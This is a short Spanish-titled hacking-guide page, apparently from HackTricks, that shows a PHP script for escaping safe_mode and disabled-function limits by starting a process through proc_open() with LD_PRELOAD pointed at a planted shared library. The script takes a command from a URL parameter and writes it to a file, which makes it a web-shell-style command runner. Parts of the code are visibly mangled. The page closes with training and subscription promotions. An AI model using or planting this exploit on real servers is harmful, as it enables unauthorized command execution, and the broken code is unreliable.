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Bypass de safe_mode de PHP a través de proc_open() y exploit de entorno personalizado
Desde http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
php
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array( 0--> array("pipe", "r"),
1 => array("file", $path."/output.txt","w"),
2 => array("file", $path."/errors.txt", "a" )
); $cwd = '.'; $env = array('LD_PRELOAD' => $path."/a.so"); $process = proc_open('id > /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed sleep(1); $a=fopen($path."/.comm1","r");
echo "<strong>";
while (!feof($a))
{$b=fgets($a);echo $b;} fclose($a);
?>;
</strong>
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
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